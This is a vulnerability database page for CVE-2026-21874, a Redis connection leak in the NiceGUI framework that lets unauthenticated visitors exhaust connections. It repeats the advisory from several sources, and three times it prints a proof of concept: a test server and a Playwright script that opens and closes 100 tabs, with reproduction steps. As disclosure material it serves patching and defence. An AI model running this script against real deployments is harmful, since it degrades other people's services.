CVE-2026-21874
NiceGUI has Redis connection leak via tab storage causes service degradation
NiceGUI is a Python-based UI framework. From versions v2.10.0 to 3.4.1, an unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality. This issue has been patched in version 3.5.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
5.3
NiceGUI has Redis connection leak via tab storage causes service degradation
NiceGUI is a Python-based UI framework. From versions v2.10.0 to 3.4.1, an unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality. This issue has been patched in version 3.5.0.
- Record
CVE-2026-21874- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-772
- Updated
- 2026-11-02
EUVDEUVD-2026-1474
5.3
NiceGUI is a Python-based UI framework. From versions v2.10.0 to 3.4.1, an unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality. This issue has been patched in version 3.5.0.
- Record
EUVD-2026-1474- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mp55-g7pj-rvm2
5.3
NiceGUI has Redis connection leak via tab storage causes service degradation
Summary
An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.
Details
When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.
Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.
PoC
Test server (test_connection_leak.py)
import os
import logging
from datetime import timedelta
import redis
from nicegui import ui, app
from nicegui.client import Client
logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")
_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete
def _patched_handle_disconnect(self, socket_id: str) -> None:
tab_id_before = self.tab_id
_original_handle_disconnect(self, socket_id)
log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))
def _patched_delete(self) -> None:
tab_id = self.tab_id
tabs_before = len(app.storage._tabs)
_original_delete(self)
log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))
Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete
_last_stats: tuple[int, int] = (0, 0)
def log_stats() -> None:
global _last_stats
client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
conns = client.info("clients")["connected_clients"]
client.close()
tabs = len(app.storage._tabs)
if (conns, tabs) != _last_stats:
log.info("stats: conns=%d tabs=%d", conns, tabs)
_last_stats = (conns, tabs)
@ui.page("/")
async def main():
await ui.context.client.connected()
app.storage.tab["visited"] = True
ui.label("Check logs")
ui.timer(interval=2.0, callback=log_stats)
if __name__ == "__main__":
app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)
Attack script (attack_connection_leak.py)
import asyncio
from playwright.async_api import async_playwright
async def attack(url: str, num_tabs: int) -> None:
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
for i in range(num_tabs):
context = await browser.new_context()
page = await context.new_page()
try:
await page.goto(url, wait_until="domcontentloaded", timeout=10000)
await page.wait_for_timeout(500)
except Exception:
pass
await context.close()
await browser.close()
if __name__ == "__main__":
asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100))
Steps to reproduce
- Limit Redis connections:
redis-cli CONFIG SET maxclients 50 - Start server:
NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py - Run attack:
python attack_connection_leak.py - Observe server logs - Redis refuses connections:
NiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080
2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1…
- Record
GHSA-mp55-g7pj-rvm2- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-772
- Updated
- 2026-11-02
NVD
5.3
NiceGUI is a Python-based UI framework. From versions v2.10.0 to 3.4.1, an unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality. This issue has been patched in version 3.5.0.
- Record
CVE-2026-21874- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-772
- Updated
- 2026-11-02
OSV
5.3
NiceGUI has Redis connection leak via tab storage causes service degradation
NiceGUI is a Python-based UI framework. From versions v2.10.0 to 3.4.1, an unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality. This issue has been patched in version 3.5.0.
- Record
CVE-2026-21874- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-772
- Updated
- 2026-11-02
OSVGHSA-mp55-g7pj-rvm2
5.3
NiceGUI has Redis connection leak via tab storage causes service degradation
Summary
An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.
Details
When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.
Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.
PoC
Test server (test_connection_leak.py)
import os
import logging
from datetime import timedelta
import redis
from nicegui import ui, app
from nicegui.client import Client
logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")
_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete
def _patched_handle_disconnect(self, socket_id: str) -> None:
tab_id_before = self.tab_id
_original_handle_disconnect(self, socket_id)
log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))
def _patched_delete(self) -> None:
tab_id = self.tab_id
tabs_before = len(app.storage._tabs)
_original_delete(self)
log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))
Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete
_last_stats: tuple[int, int] = (0, 0)
def log_stats() -> None:
global _last_stats
client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
conns = client.info("clients")["connected_clients"]
client.close()
tabs = len(app.storage._tabs)
if (conns, tabs) != _last_stats:
log.info("stats: conns=%d tabs=%d", conns, tabs)
_last_stats = (conns, tabs)
@ui.page("/")
async def main():
await ui.context.client.connected()
app.storage.tab["visited"] = True
ui.label("Check logs")
ui.timer(interval=2.0, callback=log_stats)
if __name__ == "__main__":
app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)
Attack script (attack_connection_leak.py)
import asyncio
from playwright.async_api import async_playwright
async def attack(url: str, num_tabs: int) -> None:
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
for i in range(num_tabs):
context = await browser.new_context()
page = await context.new_page()
try:
await page.goto(url, wait_until="domcontentloaded", timeout=10000)
await page.wait_for_timeout(500)
except Exception:
pass
await context.close()
await browser.close()
if __name__ == "__main__":
asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100))
Steps to reproduce
- Limit Redis connections:
redis-cli CONFIG SET maxclients 50 - Start server:
NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py - Run attack:
python attack_connection_leak.py - Observe server logs - Redis refuses connections:
NiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080
2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1…
- Record
GHSA-mp55-g7pj-rvm2- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-772
- Updated
- 2026-11-02
OSVPYSEC-2026-1703
5.3
NiceGUI has Redis connection leak via tab storage causes service degradation
Summary
An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.
Details
When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.
Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.
PoC
Test server (test_connection_leak.py)
import os
import logging
from datetime import timedelta
import redis
from nicegui import ui, app
from nicegui.client import Client
logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")
_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete
def _patched_handle_disconnect(self, socket_id: str) -> None:
tab_id_before = self.tab_id
_original_handle_disconnect(self, socket_id)
log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))
def _patched_delete(self) -> None:
tab_id = self.tab_id
tabs_before = len(app.storage._tabs)
_original_delete(self)
log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))
Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete
_last_stats: tuple[int, int] = (0, 0)
def log_stats() -> None:
global _last_stats
client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
conns = client.info("clients")["connected_clients"]
client.close()
tabs = len(app.storage._tabs)
if (conns, tabs) != _last_stats:
log.info("stats: conns=%d tabs=%d", conns, tabs)
_last_stats = (conns, tabs)
@ui.page("/")
async def main():
await ui.context.client.connected()
app.storage.tab["visited"] = True
ui.label("Check logs")
ui.timer(interval=2.0, callback=log_stats)
if __name__ == "__main__":
app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)
Attack script (attack_connection_leak.py)
import asyncio
from playwright.async_api import async_playwright
async def attack(url: str, num_tabs: int) -> None:
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
for i in range(num_tabs):
context = await browser.new_context()
page = await context.new_page()
try:
await page.goto(url, wait_until="domcontentloaded", timeout=10000)
await page.wait_for_timeout(500)
except Exception:
pass
await context.close()
await browser.close()
if __name__ == "__main__":
asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100))
Steps to reproduce
- Limit Redis connections:
redis-cli CONFIG SET maxclients 50 - Start server:
NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py - Run attack:
python attack_connection_leak.py - Observe server logs - Redis refuses connections:
NiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080
2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1…
- Record
PYSEC-2026-1703- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
niceguiPyPI |
2.10.0 to 3.4.1 | 3.5.0 |
niceguiPyPI |
2.10.0 up to 3.5.0, plus listed versions 2.10.12.11.02.11.12.12.02.12.1 Show 34 moreShow less2.13.02.14.02.14.12.15.02.16.02.16.12.17.02.18.02.19.02.20.02.21.02.21.12.22.02.22.12.22.22.23.02.23.12.23.22.23.32.24.02.24.12.24.23.0.03.0.0rc13.0.13.0.23.0.33.0.43.1.03.2.03.3.03.3.13.4.03.4.1 |
3.5.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-21874 is a medium vulnerability (CVSS 5.3) in Zauberzeug Nicegui, published January 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.55%, the 46th percentile. Fixed in nicegui 3.5.0.
References
github.com/zauberzeug/nicegui/security/advisories/GHSA-mp55-g7pj-rvm2
github.com/zauberzeug/nicegui/commit/6c52eb2c90c4b67387c025b29646b4bc1578eb83
github.com/zauberzeug/nicegui/releases/tag/v3.5.0
nvd.nist.gov/vuln/detail/CVE-2026-21874
github.com/advisories/GHSA-mp55-g7pj-rvm2
github.com/CVEProject/cvelistV5/tree/main/cves/2026/21xxx/CVE-2026-21874.json
github.com/zauberzeug/nicegui
pypi.org/project/nicegui
Left out here: the rest of 3 source descriptions. The JSON record has them.